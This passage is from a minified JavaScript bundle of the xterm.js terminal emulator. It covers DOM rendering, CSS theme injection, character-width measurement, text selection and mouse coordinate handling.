_.Disposable{constructor(e,t,i,s,r,a,c,l,u,p){super(),this._element=e,this._screenElement=t,this._viewportElement=i,this._linkifier2=s,this._charSizeService=a,this._optionsService=c,this._bufferService=l,this._coreBrowserService=u,this._themeService=p,this._terminalClass=C++,this._rowElements=[],this.onRequestRedraw=this.register(new d.EventEmitter).event,this._rowContainer=document.createElement("div"),this._rowContainer.classList.add(v),this._rowContainer.style.lineHeight="normal",this._rowContainer.setAttribute("aria-hidden","true"),this._refreshRowElements(this._bufferService.cols,this._bufferService.rows),this._selectionContainer=document.createElement("div"),this._selectionContainer.classList.add(S),this._selectionContainer.setAttribute("aria-hidden","true"),this.dimensions=(0,h.createRenderDimensions)(),this._updateDimensions(),this.register(this._optionsService.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._themeService.onChangeColors((e=>this._injectCss(e)))),this._injectCss(this._themeService.colors),this._rowFactory=r.createInstance(n.DomRendererRowFactory,document),this._element.classList.add(f+this._terminalClass),this._screenElement.appendChild(this._rowContainer),this._screenElement.appendChild(this._selectionContainer),this.register(this._linkifier2.onShowLinkUnderline((e=>this._handleLinkHover(e)))),this.register(this._linkifier2.onHideLinkUnderline((e=>this._handleLinkLeave(e)))),this.register((0,_.toDisposable)((()=>{this._element.classList.remove(f+this._terminalClass),this._rowContainer.remove(),this._selectionContainer.remove(),this._widthCache.dispose(),this._themeStyleElement.remove(),this._dimensionsStyleElement.remove()}))),this._widthCache=new o.WidthCache(document),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}_updateDimensions(){const e=this._coreBrowserService.dpr;this.dimensions.device.char.width=this._charSizeService.width*e,this.dimensions.device.char.height=Math.ceil(this._charSizeService.height*e),this.dimensions.device.cell.width=this.dimensions.device.char.width+Math.round(this._optionsService.rawOptions.letterSpacing),this.dimensions.device.cell.height=Math.floor(this.dimensions.device.char.height*this._optionsService.rawOptions.lineHeight),this.dimensions.device.char.left=0,this.dimensions.device.char.top=0,this.dimensions.device.canvas.width=this.dimensions.device.cell.width*this._bufferService.cols,this.dimensions.device.canvas.height=this.dimensions.device.cell.height*this._bufferService.rows,this.dimensions.css.canvas.width=Math.round(this.dimensions.device.canvas.width/e),this.dimensions.css.canvas.height=Math.round(this.dimensions.device.canvas.height/e),this.dimensions.css.cell.width=this.dimensions.css.canvas.width/this._bufferService.cols,this.dimensions.css.cell.height=this.dimensions.css.canvas.height/this._bufferService.rows;for(const e of this._rowElements)e.style.width=`${this.dimensions.css.canvas.width}px`,e.style.height=`${this.dimensions.css.cell.height}px`,e.style.lineHeight=`${this.dimensions.css.cell.height}px`,e.style.overflow="hidden";this._dimensionsStyleElement||(this._dimensionsStyleElement=document.createElement("style"),this._screenElement.appendChild(this._dimensionsStyleElement));const t=`${this._terminalSelector} .${v} span { display: inline-block; height: 100%; vertical-align: top;}`;this._dimensionsStyleElement.textContent=t,this._selectionContainer.style.height=this._viewportElement.style.height,this._screenElement.style.width=`${this.dimensions.css.canvas.width}px`,this._screenElement.style.height=`${this.dimensions.css.canvas.height}px`}_injectCss(e){this._themeStyleElement||(this._themeStyleElement=document.createElement("style"),this._screenElement.appendChild(this._themeStyleElement));let t=`${this._terminalSelector} .${v} { color: ${e.foreground.css}; font-family: ${this._optionsService.rawOptions.fontFamily}; font-size: ${this._optionsService.rawOptions.fontSize}px; font-kerning: none; white-space: pre}`;t+=`${this._terminalSelector} .${v} .xterm-dim { color: ${l.color.multiplyOpacity(e.foreground,.5).css};}`,t+=`${this._terminalSelector} span:not(.xterm-bold) { font-weight: ${this._optionsService.rawOptions.fontWeight};}${this._terminalSelector} span.xterm-bold { font-weight: ${this._optionsService.rawOptions.fontWeightBold};}${this._terminalSelector} span.xterm-italic { font-style: italic;}`,t+="@keyframes blink_box_shadow_"+this._terminalClass+" { 50% { border-bottom-style: hidden; }}",t+="@keyframes blink_block_"+this._terminalClass+" { 0% {"+` background-color: ${e.cursor.css};`+` color: ${e.cursorAccent.css}; } 50% { background-color: inherit;`+` color: ${e.cursor.css}; }}`,t+=`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink:not(.xterm-cursor-block) { animation: blink_box_shadow_`+this._terminalClass+" 1s step-end infinite;}"+`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink.xterm-cursor-block { animation: blink_block_`+this._terminalClass+" 1s step-end infinite;}"+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-block {`+` background-color: ${e.cursor.css};`+` color: ${e.cursorAccent.css};}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-outline {`+` outline: 1px solid ${e.cursor.css}; outline-offset: -1px;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-bar {`+` box-shadow: ${this._optionsService.rawOptions.cursorWidth}px 0 0 ${e.cursor.css} inset;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-underline {`+` border-bottom: 1px ${e.cursor.css}; border-bottom-style: solid; height: calc(100% - 1px);}`,t+=`${this._terminalSelector} .${S} { position: absolute; top: 0; left: 0; z-index: 1; pointer-events: none;}${this._terminalSelector}.focus .${S} div { position: absolute; background-color: ${e.selectionBackgroundOpaque.css};}${this._terminalSelector} .${S} div { position: absolute; background-color: ${e.selectionInactiveBackgroundOpaque.css};}`;for(const[i,s]of e.ansi.entries())t+=`${this._terminalSelector} .${p}${i} { color: ${s.css}; }${this._terminalSelector} .${p}${i}.xterm-dim { color: ${l.color.multiplyOpacity(s,.5).css}; }${this._terminalSelector} .${g}${i} { background-color: ${s.css}; }`;t+=`${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR} { color: ${l.color.opaque(e.background).css}; }${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR}.xterm-dim { color: ${l.color.multiplyOpacity(l.color.opaque(e.background),.5).css}; }${this._terminalSelector} .${g}${a.INVERTED_DEFAULT_COLOR} { background-color: ${e.foreground.css}; }`,this._themeStyleElement.textContent=t}_setDefaultSpacing(){const e=this.dimensions.css.cell.width-this._widthCache.get("W",!1,!1);this._rowContainer.style.letterSpacing=`${e}px`,this._rowFactory.defaultSpacing=e}handleDevicePixelRatioChange(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}_refreshRowElements(e,t){for(let e=this._rowElements.length;e<=t;e++){const e=document.createElement("div");this._rowContainer.appendChild(e),this._rowElements.push(e)}for(;this._rowElements.length>t;)this._rowContainer.removeChild(this._rowElements.pop())}handleResize(e,t){this._refreshRowElements(e,t),this._updateDimensions()}handleCharSizeChanged(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}handleBlur(){this._rowContainer.classList.remove(m)}handleFocus(){this._rowContainer.classList.add(m),this.renderRows(this._bufferService.buffer.y,this._bufferService.buffer.y)}handleSelectionChanged(e,t,i){if(this._selectionContainer.replaceChildren(),this._rowFactory.handleSelectionChanged(e,t,i),this.renderRows(0,this._bufferService.rows-1),!e||!t)return;const s=e[1]-this._bufferService.buffer.ydisp,r=t[1]-this._bufferService.buffer.ydisp,n=Math.max(s,0),o=Math.min(r,this._bufferService.rows-1);if(n>=this._bufferService.rows||o<0)return;const a=document.createDocumentFragment();if(i){const i=e[0]>t[0];a.appendChild(this._createSelectionElement(n,i?t[0]:e[0],i?e[0]:t[0],o-n+1))}else{const i=s===n?e[0]:0,h=n===r?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(n,i,h));const c=o-n-1;if(a.appendChild(this._createSelectionElement(n+1,0,this._bufferService.cols,c)),n!==o){const e=r===o?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(o,0,e))}}this._selectionContainer.appendChild(a)}_createSelectionElement(e,t,i,s=1){const r=document.createElement("div");return r.style.height=s*this.dimensions.css.cell.height+"px",r.style.top=e*this.dimensions.css.cell.height+"px",r.style.left=t*this.dimensions.css.cell.width+"px",r.style.width=this.dimensions.css.cell.width*(i-t)+"px",r}handleCursorMove(){}_handleOptionsChanged(){this._updateDimensions(),this._injectCss(this._themeService.colors),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}clear(){for(const e of this._rowElements)e.replaceChildren()}renderRows(e,t){const i=this._bufferService.buffer,s=i.ybase+i.y,r=Math.min(i.x,this._bufferService.cols-1),n=this._optionsService.rawOptions.cursorBlink,o=this._optionsService.rawOptions.cursorStyle,a=this._optionsService.rawOptions.cursorInactiveStyle;for(let h=e;h<=t;h++){const e=h+i.ydisp,t=this._rowElements[h],c=i.lines.get(e);if(!t||!c)break;t.replaceChildren(...this._rowFactory.createRow(c,e,e===s,o,a,r,n,this.dimensions.css.cell.width,this._widthCache,-1,-1))}}get _terminalSelector(){return`.${f}${this._terminalClass}`}_handleLinkHover(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!0)}_handleLinkLeave(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!1)}_setCellUnderline(e,t,i,s,r,n){i<0&&(e=0),s<0&&(t=0);const o=this._bufferService.rows-1;i=Math.max(Math.min(i,o),0),s=Math.max(Math.min(s,o),0),r=Math.min(r,this._bufferService.cols);const a=this._bufferService.buffer,h=a.ybase+a.y,c=Math.min(a.x,r-1),l=this._optionsService.rawOptions.cursorBlink,d=this._optionsService.rawOptions.cursorStyle,_=this._optionsService.rawOptions.cursorInactiveStyle;for(let o=i;o<=s;++o){const u=o+a.ydisp,f=this._rowElements[o],v=a.lines.get(u);if(!f||!v)break;f.replaceChildren(...this._rowFactory.createRow(v,u,u===h,d,_,c,l,this.dimensions.css.cell.width,this._widthCache,n?o===i?e:0:-1,n?(o===s?t:r)-1:-1))}}};t.DomRenderer=b=s([r(4,u.IInstantiationService),r(5,c.ICharSizeService),r(6,u.IOptionsService),r(7,u.IBufferService),r(8,c.ICoreBrowserService),r(9,c.IThemeService)],b)},3787:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.DomRendererRowFactory=void 0;const n=i(2223),o=i(643),a=i(511),h=i(2585),c=i(8055),l=i(4725),d=i(4269),_=i(6171),u=i(3734);let f=t.DomRendererRowFactory=class{constructor(e,t,i,s,r,n,o){this._document=e,this._characterJoinerService=t,this._optionsService=i,this._coreBrowserService=s,this._coreService=r,this._decorationService=n,this._themeService=o,this._workCell=new a.CellData,this._columnSelectMode=!1,this.defaultSpacing=0}handleSelectionChanged(e,t,i){this._selectionStart=e,this._selectionEnd=t,this._columnSelectMode=i}createRow(e,t,i,s,r,a,h,l,_,f,p){const g=[],m=this._characterJoinerService.getJoinedCharacters(t),S=this._themeService.colors;let C,b=e.getNoBgTrimmedLength();i&&b0&&M===m[0][0]){O=!0;const t=m.shift();I=new d.JoinedCellData(this._workCell,e.translateToString(!0,t[0],t[1]),t[1]-t[0]),P=t[1]-1,b=I.getWidth()}const H=this._isCellInSelection(M,t),F=i&&M===a,W=T&&M>=f&&M<=p;let U=!1;this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{U=!0}));let N=I.getChars()||o.WHITESPACE_CELL_CHAR;if(" "===N&&(I.isUnderline()||I.isOverline())&&(N=" "),A=b*l-_.get(N,I.isBold(),I.isItalic()),C){if(y&&(H&&x||!H&&!x&&I.bg===E)&&(H&&x&&S.selectionForeground||I.fg===k)&&I.extended.ext===L&&W===D&&A===R&&!F&&!O&&!U){w+=N,y++;continue}y&&(C.textContent=w),C=this._document.createElement("span"),y=0,w=""}else C=this._document.createElement("span");if(E=I.bg,k=I.fg,L=I.extended.ext,D=W,R=A,x=H,O&&a>=M&&a<=P&&(a=M),!this._coreService.isCursorHidden&&F)if(B.push("xterm-cursor"),this._coreBrowserService.isFocused)h&&B.push("xterm-cursor-blink"),B.push("bar"===s?"xterm-cursor-bar":"underline"===s?"xterm-cursor-underline":"xterm-cursor-block");else if(r)switch(r){case"outline":B.push("xterm-cursor-outline");break;case"block":B.push("xterm-cursor-block");break;case"bar":B.push("xterm-cursor-bar");break;case"underline":B.push("xterm-cursor-underline")}if(I.isBold()&&B.push("xterm-bold"),I.isItalic()&&B.push("xterm-italic"),I.isDim()&&B.push("xterm-dim"),w=I.isInvisible()?o.WHITESPACE_CELL_CHAR:I.getChars()||o.WHITESPACE_CELL_CHAR,I.isUnderline()&&(B.push(`xterm-underline-${I.extended.underlineStyle}`)," "===w&&(w=" "),!I.isUnderlineColorDefault()))if(I.isUnderlineColorRGB())C.style.textDecorationColor=`rgb(${u.AttributeData.toColorRGB(I.getUnderlineColor()).join(",")})`;else{let e=I.getUnderlineColor();this._optionsService.rawOptions.drawBoldTextInBrightColors&&I.isBold()&&e<8&&(e+=8),C.style.textDecorationColor=S.ansi[e].css}I.isOverline()&&(B.push("xterm-overline")," "===w&&(w=" ")),I.isStrikethrough()&&B.push("xterm-strikethrough"),W&&(C.style.textDecoration="underline");let $=I.getFgColor(),j=I.getFgColorMode(),z=I.getBgColor(),K=I.getBgColorMode();const q=!!I.isInverse();if(q){const e=$;$=z,z=e;const t=j;j=K,K=t}let V,G,X,J=!1;switch(this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{"top"!==e.options.layer&&J||(e.backgroundColorRGB&&(K=50331648,z=e.backgroundColorRGB.rgba>>8&16777215,V=e.backgroundColorRGB),e.foregroundColorRGB&&(j=50331648,$=e.foregroundColorRGB.rgba>>8&16777215,G=e.foregroundColorRGB),J="top"===e.options.layer)})),!J&&H&&(V=this._coreBrowserService.isFocused?S.selectionBackgroundOpaque:S.selectionInactiveBackgroundOpaque,z=V.rgba>>8&16777215,K=50331648,J=!0,S.selectionForeground&&(j=50331648,$=S.selectionForeground.rgba>>8&16777215,G=S.selectionForeground)),J&&B.push("xterm-decoration-top"),K){case 16777216:case 33554432:X=S.ansi[z],B.push(`xterm-bg-${z}`);break;case 50331648:X=c.rgba.toColor(z>>16,z>>8&255,255&z),this._addStyle(C,`background-color:#${v((z>>>0).toString(16),"0",6)}`);break;default:q?(X=S.foreground,B.push(`xterm-bg-${n.INVERTED_DEFAULT_COLOR}`)):X=S.background}switch(V||I.isDim()&&(V=c.color.multiplyOpacity(X,.5)),j){case 16777216:case 33554432:I.isBold()&&$<8&&this._optionsService.rawOptions.drawBoldTextInBrightColors&&($+=8),this._applyMinimumContrast(C,X,S.ansi[$],I,V,void 0)||B.push(`xterm-fg-${$}`);break;case 50331648:const e=c.rgba.toColor($>>16&255,$>>8&255,255&$);this._applyMinimumContrast(C,X,e,I,V,G)||this._addStyle(C,`color:#${v($.toString(16),"0",6)}`);break;default:this._applyMinimumContrast(C,X,S.foreground,I,V,void 0)||q&&B.push(`xterm-fg-${n.INVERTED_DEFAULT_COLOR}`)}B.length&&(C.className=B.join(" "),B.length=0),F||O||U?C.textContent=w:y++,A!==this.defaultSpacing&&(C.style.letterSpacing=`${A}px`),g.push(C),M=P}return C&&y&&(C.textContent=w),g}_applyMinimumContrast(e,t,i,s,r,n){if(1===this._optionsService.rawOptions.minimumContrastRatio||(0,_.excludeFromContrastRatioDemands)(s.getCode()))return!1;const o=this._getContrastCache(s);let a;if(r||n||(a=o.getColor(t.rgba,i.rgba)),void 0===a){const e=this._optionsService.rawOptions.minimumContrastRatio/(s.isDim()?2:1);a=c.color.ensureContrastRatio(r||t,n||i,e),o.setColor((r||t).rgba,(n||i).rgba,null!=a?a:null)}return!!a&&(this._addStyle(e,`color:${a.css}`),!0)}_getContrastCache(e){return e.isDim()?this._themeService.colors.halfContrastCache:this._themeService.colors.contrastCache}_addStyle(e,t){e.setAttribute("style",`${e.getAttribute("style")||""}${t};`)}_isCellInSelection(e,t){const i=this._selectionStart,s=this._selectionEnd;return!(!i||!s)&&(this._columnSelectMode?i[0]<=s[0]?e>=i[0]&&t>=i[1]&&e=i[1]&&e>=s[0]&&t<=s[1]:t>i[1]&&t=i[0]&&e=i[0])}};function v(e,t,i){for(;e.length{Object.defineProperty(t,"__esModule",{value:!0}),t.WidthCache=void 0,t.WidthCache=class{constructor(e){this._flat=new Float32Array(256),this._font="",this._fontSize=0,this._weight="normal",this._weightBold="bold",this._measureElements=[],this._container=e.createElement("div"),this._container.style.position="absolute",this._container.style.top="-50000px",this._container.style.width="50000px",this._container.style.whiteSpace="pre",this._container.style.fontKerning="none";const t=e.createElement("span"),i=e.createElement("span");i.style.fontWeight="bold";const s=e.createElement("span");s.style.fontStyle="italic";const r=e.createElement("span");r.style.fontWeight="bold",r.style.fontStyle="italic",this._measureElements=[t,i,s,r],this._container.appendChild(t),this._container.appendChild(i),this._container.appendChild(s),this._container.appendChild(r),e.body.appendChild(this._container),this.clear()}dispose(){this._container.remove(),this._measureElements.length=0,this._holey=void 0}clear(){this._flat.fill(-9999),this._holey=new Map}setFont(e,t,i,s){e===this._font&&t===this._fontSize&&i===this._weight&&s===this._weightBold||(this._font=e,this._fontSize=t,this._weight=i,this._weightBold=s,this._container.style.fontFamily=this._font,this._container.style.fontSize=`${this._fontSize}px`,this._measureElements[0].style.fontWeight=`${i}`,this._measureElements[1].style.fontWeight=`${s}`,this._measureElements[2].style.fontWeight=`${i}`,this._measureElements[3].style.fontWeight=`${s}`,this.clear())}get(e,t,i){let s=0;if(!t&&!i&&1===e.length&&(s=e.charCodeAt(0))<256)return-9999!==this._flat[s]?this._flat[s]:this._flat[s]=this._measure(e,0);let r=e;t&&(r+="B"),i&&(r+="I");let n=this._holey.get(r);if(void 0===n){let s=0;t&&(s|=1),i&&(s|=2),n=this._measure(e,s),this._holey.set(r,n)}return n}_measure(e,t){const i=this._measureElements[t];return i.textContent=e.repeat(32),i.offsetWidth/32}}},2223:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.TEXT_BASELINE=t.DIM_OPACITY=t.INVERTED_DEFAULT_COLOR=void 0;const s=i(6114);t.INVERTED_DEFAULT_COLOR=257,t.DIM_OPACITY=.5,t.TEXT_BASELINE=s.isFirefox||s.isLegacyEdge?"bottom":"ideographic"},6171:(e,t)=>{function i(e){return 57508<=e&&e<=57558}Object.defineProperty(t,"__esModule",{value:!0}),t.createRenderDimensions=t.excludeFromContrastRatioDemands=t.isRestrictedPowerlineGlyph=t.isPowerlineGlyph=t.throwIfFalsy=void 0,t.throwIfFalsy=function(e){if(!e)throw new Error("value must not be falsy");return e},t.isPowerlineGlyph=i,t.isRestrictedPowerlineGlyph=function(e){return 57520<=e&&e<=57527},t.excludeFromContrastRatioDemands=function(e){return i(e)||function(e){return 9472<=e&&e<=9631}(e)},t.createRenderDimensions=function(){return{css:{canvas:{width:0,height:0},cell:{width:0,height:0}},device:{canvas:{width:0,height:0},cell:{width:0,height:0},char:{width:0,height:0,left:0,top:0}}}}},456:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.SelectionModel=void 0,t.SelectionModel=class{constructor(e){this._bufferService=e,this.isSelectAllActive=!1,this.selectionStartLength=0}clearSelection(){this.selectionStart=void 0,this.selectionEnd=void 0,this.isSelectAllActive=!1,this.selectionStartLength=0}get finalSelectionStart(){return this.isSelectAllActive?[0,0]:this.selectionEnd&&this.selectionStart&&this.areSelectionValuesReversed()?this.selectionEnd:this.selectionStart}get finalSelectionEnd(){if(this.isSelectAllActive)return[this._bufferService.cols,this._bufferService.buffer.ybase+this._bufferService.rows-1];if(this.selectionStart){if(!this.selectionEnd||this.areSelectionValuesReversed()){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?e%this._bufferService.cols==0?[this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)-1]:[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[e,this.selectionStart[1]]}if(this.selectionStartLength&&this.selectionEnd[1]===this.selectionStart[1]){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[Math.max(e,this.selectionEnd[0]),this.selectionEnd[1]]}return this.selectionEnd}}areSelectionValuesReversed(){const e=this.selectionStart,t=this.selectionEnd;return!(!e||!t)&&(e[1]>t[1]||e[1]===t[1]&&e[0]>t[0])}handleTrim(e){return this.selectionStart&&(this.selectionStart[1]-=e),this.selectionEnd&&(this.selectionEnd[1]-=e),this.selectionEnd&&this.selectionEnd[1]<0?(this.clearSelection(),!0):(this.selectionStart&&this.selectionStart[1]<0&&(this.selectionStart[1]=0),!1)}}},428:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CharSizeService=void 0;const n=i(2585),o=i(8460),a=i(844);let h=t.CharSizeService=class extends a.Disposable{get hasValidSize(){return this.width>0&&this.height>0}constructor(e,t,i){super(),this._optionsService=i,this.width=0,this.height=0,this._onCharSizeChange=this.register(new o.EventEmitter),this.onCharSizeChange=this._onCharSizeChange.event,this._measureStrategy=new c(e,t,this._optionsService),this.register(this._optionsService.onMultipleOptionChange(["fontFamily","fontSize"],(()=>this.measure())))}measure(){const e=this._measureStrategy.measure();e.width===this.width&&e.height===this.height||(this.width=e.width,this.height=e.height,this._onCharSizeChange.fire())}};t.CharSizeService=h=s([r(2,n.IOptionsService)],h);class c{constructor(e,t,i){this._document=e,this._parentElement=t,this._optionsService=i,this._result={width:0,height:0},this._measureElement=this._document.createElement("span"),this._measureElement.classList.add("xterm-char-measure-element"),this._measureElement.textContent="W".repeat(32),this._measureElement.setAttribute("aria-hidden","true"),this._measureElement.style.whiteSpace="pre",this._measureElement.style.fontKerning="none",this._parentElement.appendChild(this._measureElement)}measure(){this._measureElement.style.fontFamily=this._optionsService.rawOptions.fontFamily,this._measureElement.style.fontSize=`${this._optionsService.rawOptions.fontSize}px`;const e={height:Number(this._measureElement.offsetHeight),width:Number(this._measureElement.offsetWidth)};return 0!==e.width&&0!==e.height&&(this._result.width=e.width/32,this._result.height=Math.ceil(e.height)),this._result}}},4269:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CharacterJoinerService=t.JoinedCellData=void 0;const n=i(3734),o=i(643),a=i(511),h=i(2585);class c extends n.AttributeData{constructor(e,t,i){super(),this.content=0,this.combinedData="",this.fg=e.fg,this.bg=e.bg,this.combinedData=t,this._width=i}isCombined(){return 2097152}getWidth(){return this._width}getChars(){return this.combinedData}getCode(){return 2097151}setFromCharData(e){throw new Error("not implemented")}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.JoinedCellData=c;let l=t.CharacterJoinerService=class e{constructor(e){this._bufferService=e,this._characterJoiners=[],this._nextCharacterJoinerId=0,this._workCell=new a.CellData}register(e){const t={id:this._nextCharacterJoinerId++,handler:e};return this._characterJoiners.push(t),t.id}deregister(e){for(let t=0;t1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t{Object.defineProperty(t,"__esModule",{value:!0}),t.CoreBrowserService=void 0,t.CoreBrowserService=class{constructor(e,t){this._textarea=e,this.window=t,this._isFocused=!1,this._cachedIsFocused=void 0,this._textarea.addEventListener("focus",(()=>this._isFocused=!0)),this._textarea.addEventListener("blur",(()=>this._isFocused=!1))}get dpr(){return this.window.devicePixelRatio}get isFocused(){return void 0===this._cachedIsFocused&&(this._cachedIsFocused=this._isFocused&&this._textarea.ownerDocument.hasFocus(),queueMicrotask((()=>this._cachedIsFocused=void 0))),this._cachedIsFocused}}},8934:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.MouseService=void 0;const n=i(4725),o=i(9806);let a=t.MouseService=class{constructor(e,t){this._renderService=e,this._charSizeService=t}getCoords(e,t,i,s,r){return(0,o.getCoords)(window,e,t,i,s,this._charSizeService.hasValidSize,this._renderService.dimensions.css.cell.width,this._renderService.dimensions.css.cell.height,r)}getMouseReportCoords(e,t){const i=(0,o.getCoordsRelativeToElement)(window,e,t);if(this._charSizeService.hasValidSize)return i[0]=Math.min(Math.max(i[0],0),this._renderService.dimensions.css.canvas.width-1),i[1]=Math.min(Math.max(i[1],0),this._renderService.dimensions.css.canvas.height-1),{col:Math.floor(i[0]/this._renderService.dimensions.css.cell.width),row:Math.floor(i[1]/this._renderService.dimensions.css.cell.height),x:Math.floor(i[0]),y:Math.floor(i[1])}}};t.MouseService=a=s([r(0,n.IRenderService),r(1,n.ICharSizeService)],a)},3230:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.RenderService=void 0;const n=i(3656),o=i(6193),a=i(5596),h=i(4725),c=i(8460),l=i(844),d=i(7226),_=i(2585);let u=t.RenderService=class extends l.Disposable{get dimensions(){return this._renderer.value.dimensions}constructor(e,t,i,s,r,h,_,u){if(super(),this._rowCount=e,this._charSizeService=s,this._renderer=this.register(new l.MutableDisposable),this._pausedResizeTask=new d.DebouncedIdleTask,this._isPaused=!1,this._needsFullRefresh=!1,this._isNextRenderRedrawOnly=!0,this._needsSelectionRefresh=!1,this._canvasWidth=0,this._canvasHeight=0,this._selectionState={start:void 0,end:void 0,columnSelectMode:!1},this._onDimensionsChange=this.register(new c.EventEmitter),this.onDimensionsChange=this._onDimensionsChange.event,this._onRenderedViewportChange=this.register(new c.EventEmitter),this.onRenderedViewportChange=this._onRenderedViewportChange.event,this._onRender=this.register(new c.EventEmitter),this.onRender=this._onRender.event,this._onRefreshRequest=this.register(new c.EventEmitter),this.onRefreshRequest=this._onRefreshRequest.event,this._renderDebouncer=new o.RenderDebouncer(_.window,((e,t)=>this._renderRows(e,t))),this.register(this._renderDebouncer),this._screenDprMonitor=new a.ScreenDprMonitor(_.window),this._screenDprMonitor.setListener((()=>this.handleDevicePixelRatioChange())),this.register(this._screenDprMonitor),this.register(h.onResize((()=>this._fullRefresh()))),this.register(h.buffers.onBufferActivate((()=>{var e;return null===(e=this._renderer.value)||void 0===e?void 0:e.clear()}))),this.register(i.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._charSizeService.onCharSizeChange((()=>this.handleCharSizeChanged()))),this.register(r.onDecorationRegistered((()=>this._fullRefresh()))),this.register(r.onDecorationRemoved((()=>this._fullRefresh()))),this.register(i.onMultipleOptionChange(["customGlyphs","drawBoldTextInBrightColors","letterSpacing","lineHeight","fontFamily","fontSize","fontWeight","fontWeightBold","minimumContrastRatio"],(()=>{this.clear(),this.handleResize(h.cols,h.rows),this._fullRefresh()}))),this.register(i.onMultipleOptionChange(["cursorBlink","cursorStyle"],(()=>this.refreshRows(h.buffer.y,h.buffer.y,!0)))),this.register((0,n.addDisposableDomListener)(_.window,"resize",(()=>this.handleDevicePixelRatioChange()))),this.register(u.onChangeColors((()=>this._fullRefresh()))),"IntersectionObserver"in _.window){const e=new _.window.IntersectionObserver((e=>this._handleIntersectionChange(e[e.length-1])),{threshold:0});e.observe(t),this.register({dispose:()=>e.disconnect()})}}_handleIntersectionChange(e){this._isPaused=void 